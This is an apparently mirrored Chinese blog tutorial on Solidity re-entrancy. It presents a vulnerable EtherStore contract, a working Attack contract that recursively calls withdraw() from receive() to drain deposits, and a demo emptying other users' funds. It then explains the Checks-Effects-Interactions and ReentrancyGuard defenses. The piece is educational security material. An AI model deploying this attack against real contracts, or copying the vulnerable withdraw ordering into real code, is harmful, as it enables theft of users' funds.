当前位置: 首页 > article >正文

Solidity 智能合约安全漏洞——普通重入攻击

普通重入攻击

重入攻击(Re-Entrancy) 一直是以太坊智能合约中最危险的漏洞之一,导致了许多大规模的资金被盗事件。比如 2016 年发生在 The DAO 项目中的 Re-Entrancy 漏洞攻击,造成价值当时 6000 万美元的以太币被盗,直接导致以太坊主网硬分叉。

那么,什么是 Re-Entrancy 漏洞?它为何如此危险,如何防范,让我们一一深入解析。

Re-Entrancy 漏洞原理

Re-Entrancy 漏洞本质上是一个状态同步问题。当智能合约调用外部函数时,执行流会转移到被调用的合约。如果调用合约未能正确同步状态,就可能在转移执行流时被再次调用,从而重复执行相同的代码逻辑。

具体来说,攻击往往分两步:

1.被攻击的合约调用了攻击合约的外部函数,并转移了执行流。

2.在攻击合约函数中,利用某些技巧再次调用被攻击合约的漏洞函数。

由于 EVM 是单线程的,重新进入漏洞函数时,合约状态并未被正确更新,就像第一次调用一样。这样攻击者就能够多次重复执行一些代码逻辑,从而实现非预期的行为。典型的攻击模式是多次重复提取资金。
在这里插入图片描述

Re-Entrancy漏洞合约

以一个修改过的 WETH 合约为例:

contract EtherStore {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint256 bal = balances[msg.sender];
        require(bal > 0);

        (bool sent,) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    // 用于检查此合约的余额
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

●deposit 函数中,用户可以存入 ETH,得到的 WETH 记录在 balances 状态变量中。

●withdraw 函数中,用户可以提取 ETH,通过 call 低级调用转账给用户,此时执行流转移到用户合约。如果用户合约是一个恶意合约,它可以在默认的 receive 函数中再次回调 withdraw。由于余额未被更新,require 语句会通过检查,攻击合约就能多次重复提取 ETH。

攻击者可以部署一个恶意合约 Attack:

contract Attack {
    EtherStore public etherStore;
    uint256 public constant AMOUNT = 1 ether;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // receive is called when EtherStore sends Ether to this contract.
    receive() external payable {
        if (address(etherStore).balance >= AMOUNT) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= AMOUNT);
        etherStore.deposit{value: AMOUNT}();
        etherStore.withdraw();
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

●attack 函数中攻击者先转入一定数量的 ETH,调用 etherStore.deposit 函数转移到目标合约 EtherStore 中,接下来调用 etherStore.withdraw 函数提取 ETH。这看似是一个常规的操作,但问题出现在下一个函数。

●receive 是合约接收 ETH 时默认执行的函数,它由 payable 关键字修饰,表明它可以接收发送来的 ETH(也可以使用 fallback 函数来实现同样的效果)。在函数内部,当目标合约中的余额满足条件(大于 1 ETH)时,会再次调用 withdraw 函数,即发起重入,由于目标合约中用户的余额是在最后一步才进行更新,因此 require(bal > 0); 条件依旧满足,也就可以继续把目标合约中的 ETH 转移走😨😨😨

Re-Entrancy 攻击演示

1.账户 0x5B3…dC4 部署 EtherStore 合约,合约地址为 0xd91…138

请添加图片描述

2.账户 Alice(0xAb8…cb2) 和账户 Bob(0x4B2…2db) 分别往目标合约中存入 1 ETH,此时合约锁定总资产为 2 ETH。

请添加图片描述

请添加图片描述

3.攻击者Eve(0x787…baB)部署 Attack 合约,在构造函数中填入目标合约的地址执行部署,生成的合约地址为 0x99C…96d。

请添加图片描述

4.攻击者Eve(0x787…baB) 支付 1 ETH 调用 attack 函数发起重入攻击,此时目标合约 EtherStore 中的资金会被全部转移到 Attack 合约中。

请添加图片描述

请添加图片描述

Attack 合约中余额为 3 ETH,而 EtherStore 合约中余额为 0,虽然 账户 Alice(0xAb8…cb2) 的余额显示为 1 ETH,但实际的资产已经被转移走了,只是一张空头支票而已。

防御措施

最直接有效的防御手段,就是遵循 Check-Effects-Interactions(CEI) 模式:

●首先——进行所有检查。

●然后——进行更改,例如更新余额。

●最后——调用另一个合约。

CEI 模式下无论执行流如何转移,余额都已被正确扣除,重入攻击将无法重复执行逻辑,因此推荐基于该方案构建合约逻辑:首先进行所有检查,然后更新余额并进行更改,然后才调用另一个合约。

function withdraw() public {
		// 1.check
    uint256 bal = balances[msg.sender];
    require(bal > 0);

		// 2.effects
    balances[msg.sender] = 0;

		// 3.interactions
    (bool sent,) = msg.sender.call{value: bal}("");
    require(sent, "Failed to send Ether");
}

另一种防御是使用 ReentrancyGuard,OpenZeppelin 提供了 Guards 代码:

contract ReentrancyGuard {
    bool internal locked;

    modifier nonReentrant() {
        require(!locked, "No reentrancy");
        locked = true;
        _;
        locked = false;
    }
}

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract EtherStore is ReentrancyGuard {
    
    function withdraw() public nonReentrant {
        uint256 bal = balances[msg.sender];
        require(bal > 0);

        (bool sent,) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }
    
    // ...
}

它的作用就是在函数执行前先加一把锁,函数结束后释放锁,在发生重入时由于重新进入了该函数,此时锁还未释放,因此重入失败。

需要注意的是,ReentrancyGuard 在防范跨函数跨合约重入等复杂情况下有一定局限性,另外由于引入了额外的逻辑,gas 费也会有所增加,所以 Check-Effects-Interactions 依然是根本。


http://www.kler.cn/a/400745.html

相关文章:

  • 【MYSQL】锁详解(全局锁、表级锁、行级锁)【快速理解】
  • web——upload-labs——第十二关——%00截断
  • 【分割评价指标-nnUNet V2训练】- AutoDL
  • 使用Python编写一个简单的网页爬虫,从网站抓取标题和内容。
  • 【JavaEE初阶 — 多线程】wait() notify()
  • 删除k8s 或者docker运行失败的脚本
  • Linux下安装mysql8.0版本
  • Debezium-MySqlConnectorTask
  • 退款成功订阅消息点击后提示订单不存在
  • 【qt】控件1
  • 平台整合是网络安全成功的关键
  • Android读取NFC卡片数据
  • C#WPF的App.xaml启动第一个窗体的3种方式
  • 记录一下在原有的接口中增加文件上传☞@RequestPart
  • java基础面试题笔记(基础篇)
  • 基于YOLOv8深度学习的医学影像甲状腺结节病症检测诊断研究与实现(PyQt5界面+数据集+训练代码)
  • 周报(9)<仅供自己学习>
  • 前端网络性能优化问题
  • 【Go】-bufio库解读
  • Vue3-02
  • 微信小程序自定义tabbar的实现
  • Ekman理论回归
  • Spring Cloud Gateway 网关
  • 【MySQL 保姆级教学】事务的隔离级别(详细)--下(14)
  • c#中通过自定义Converter实现定制DateTime的序列化格式
  • SQL MID() 函数详解